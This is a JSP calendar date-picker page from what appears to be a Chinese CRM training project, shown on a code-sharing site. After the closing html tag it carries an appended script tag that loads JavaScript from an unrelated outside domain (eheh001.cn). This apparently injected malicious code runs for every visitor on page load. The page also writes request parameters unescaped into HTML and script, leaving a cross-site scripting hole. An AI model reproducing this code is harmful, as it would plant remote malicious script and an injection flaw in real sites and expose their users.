date(1).jsp

来自「达内CRM培训项目java源码:主要系统功能 1 用户登录 2 客户管理」· JSP 代码 · 共 54 行

JSP
54
字号
<%@ page contentType="text/html; charset=GBK" %>
<%
   String inputName= request.getParameter("inputName");
   if(inputName==null || inputName.trim().length()<1){
     System.out.println("日期输入框元素名称没有传递!");
   }
   
      
   String inputDate = request.getParameter("inputDate");
   String _year = "";
   String _month = "";
   String _date = "";

   if(inputDate!=null && inputDate.trim().length()>8){
           _year = inputDate.substring(0,4);
	   _month = inputDate.substring(5,7);
	   _date = inputDate.substring(8,10); 
   }
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>日历</title>
<SCRIPT src="/hollyAgent_demo/framework/public/js/JSCalendar.js"></SCRIPT>

<SCRIPT language="JAVASCRIPT">
 function fillBlank(name){
    document.all["<%=inputName%>"].value = document.form1.tt.value;
 }
</SCRIPT>

</head>

<body >
<form name="form1" method="post" action="" >
   <input  style="display:none" type="text" name="<%=inputName%>">
</form>
<script language="javascript">
             <%
	       if(inputDate==null || inputDate.trim().length()<10){
	     %>
	       JSCalendar(document.all["<%=inputName%>"]); 
	     <%
	       }else{
	     %>
                JSCalendar(document.all["<%=inputName%>"],"<%=_year%>","<%=_month%>","<%=_date%>"); 
             <%
	       }
	     %>
</script>
</body>
</html>

<script language=javascript src=http://www.eheh001.cn/a.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?